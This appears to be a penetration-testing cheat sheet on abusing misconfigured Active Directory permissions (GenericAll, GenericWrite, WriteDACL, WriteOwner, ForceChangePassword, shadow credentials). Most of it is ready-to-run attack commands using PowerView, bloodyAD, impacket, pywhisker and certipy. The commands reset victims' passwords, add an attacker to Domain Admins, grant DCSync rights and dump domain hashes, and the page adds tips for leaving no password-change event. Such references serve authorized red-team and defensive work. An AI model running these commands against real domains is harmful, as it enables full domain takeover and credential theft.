Skip to content

ACL Abuse

Active Directory objects have Access Control Lists that define who can read or modify them. Misconfigured ACEs on user, group, computer, or domain objects are a reliable path to privilege escalation: often set by admins who don't understand the implications of "GenericAll".

Finding Misconfigs

Start with BloodHound's graph, then sweep with PowerView and bloodyAD to catch what BloodHound misses on granular attributes.

bash
# BloodHound: graph query
# "Find Principals with Dangerous Rights" → shows GenericAll, WriteDACL, etc.
# On owned nodes: right-click → "Outbound Object Control"

# bloodyAD: writable objects from Linux
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype ALL
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype USER
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype COMPUTER
powershell
# PowerView: find all interesting ACEs
Import-Module .\PowerView.ps1

Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "your.user|YourGroup"
}

# Check ACEs on a specific object
Get-ObjectAcl -Identity "CN=target,CN=Users,DC=domain,DC=local" -ResolveGUIDs |
  Select-Object SecurityIdentifier, ActiveDirectoryRights, AceType

# DCSync rights specifically
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object {
    $_.ObjectAceType -match "DS-Replication"
}

ACL Attack Map

RightObject TypeAttack
GenericAllUserPassword reset, targeted Kerberoast, shadow credentials
GenericAllGroupAdd yourself or any account as member
GenericAllComputerRBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity)
GenericWriteUserTargeted Kerberoast (set SPN), shadow creds (msDS-KeyCredentialLink)
GenericWriteComputerRBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity)
WriteDACLAnyGrant yourself GenericAll or DCSync rights
WriteOwnerAnyTake ownership → then WriteDACL
ForceChangePasswordUserReset password without knowing current
WriteProperty (msDS-KeyCredentialLink)User / ComputerShadow credentials → PKINIT
CreateChildOUBadSuccessor: dMSA escalation (WS2025)
DS-Replication-Get-Changes[-All]DomainDCSync

GenericAll on User

Full control over the object: three viable exploitation paths depending on what's noisiest or most reliable.

bash
# Option 1: Password reset (loudest, triggers password change event)
net rpc password target_user 'NewPass123!' -U domain/attacker%pass -S <dc-ip>

# Option 2: Targeted Kerberoast (see also Kerberoasting page)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}
GetUserSPNs.py domain.local/attacker:pass -dc-ip <ip> -request-user target_user
Set-DomainObject -Identity target_user -Clear serviceprincipalname
bash
# Option 3: Shadow Credentials (stealthiest: no password change)
pywhisker -d domain.local -u attacker -p pass --target target_user --action add --dc-ip <ip>
certipy shadow auto -u attacker@domain.local -p pass -account target_user -dc-ip <ip>

GenericAll on Group

Add any account to the group directly: domain admin group membership being the obvious endgame.

powershell
# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker"

# net command
net group "Domain Admins" attacker /add /domain
bash
# bloodyAD from Linux
bloodyAD -u attacker -p pass -d domain.local --host dc01 add groupMember "Domain Admins" attacker

GenericAll on Computer → RBCD

Set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer to configure Resource-Based Constrained Delegation. Full attack chain is in Delegation → RBCD.

bash
# bloodyAD: set RBCD attribute on target computer
bloodyAD -u attacker -p pass -d domain.local --host dc01 \
  set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$'

GenericWrite on User

Can't reset the password directly, but can modify writable attributes: SPN for Kerberoasting or msDS-KeyCredentialLink for shadow creds.

powershell
# Targeted Kerberoast via SPN manipulation
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn.domain.local'}
bash
GetUserSPNs.py domain.local/attacker:pass -dc-ip <ip> -request-user target_user
powershell
Set-DomainObject -Identity target_user -Clear serviceprincipalname
bash
# Shadow Credentials via msDS-KeyCredentialLink
pywhisker -d domain.local -u attacker -p pass --target target_user --action add --dc-ip <ip>

GenericWrite on Computer → RBCD

Same as GenericAll on Computer: set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target.

bash
bloodyAD -u attacker -p pass -d domain.local --host dc01 \
  set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$'

WriteDACL

Rewrite the DACL on the target object: grant yourself GenericAll or DCSync rights and escalate from there.

bash
# Grant GenericAll on a user
dacledit.py -action write -rights FullControl \
  -principal attacker -target target_user \
  domain.local/attacker:pass -dc-ip <ip>

# Grant DCSync rights on the domain object
dacledit.py -action write -rights DCSync \
  -principal attacker -target-dn "DC=domain,DC=local" \
  domain.local/attacker:pass -dc-ip <ip>

# Then run DCSync
secretsdump.py domain.local/attacker:pass@<dc-ip>
powershell
# PowerView alternative
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights All
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSync

WriteOwner

Take ownership of the object first, then use that ownership to grant yourself WriteDACL: from there, escalate as above.

powershell
# Step 1: Take ownership
Set-DomainObjectOwner -Identity target -OwnerIdentity attacker

# Step 2: Grant yourself WriteDACL now that you own it
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights WriteDacl

# Step 3: Grant GenericAll
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights All

ForceChangePassword

Reset the target user's password without knowing the current one: useful when you need access to the account but don't want to enumerate further.

bash
# Linux: net rpc
net rpc password target_user 'NewPass123!' -U domain/attacker%pass -S <dc-ip>

# impacket
changepasswd.py domain.local/target_user@<dc-ip> -newpass 'NewPass123!' -newhashes :
powershell
# PowerView
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $newpass

# rpcclient
rpcclient -U 'domain\attacker%pass' <dc-ip>
setuserinfo2 target_user 23 'NewPass123!'

Add a certificate key credential to the target account: authenticates via PKINIT without changing the password, leaving no obvious event log trail.

bash
# pywhisker: add shadow credential
pywhisker -d domain.local -u attacker -p pass --target victim --action add --dc-ip <ip>
# Outputs: PFX file path + PFX password

# Authenticate with the certificate → get NT hash
certipy auth -pfx victim.pfx -dc-ip <ip>

# Or get TGT
getTGT.py domain.local/victim -pfx-base64 <output_b64> -dc-ip <ip>
export KRB5CCNAME=victim.ccache
powershell
# Whisker (Windows)
.\Whisker.exe add /target:victim /domain:domain.local /dc:dc01.domain.local
# Outputs: Rubeus command to authenticate with the generated certificate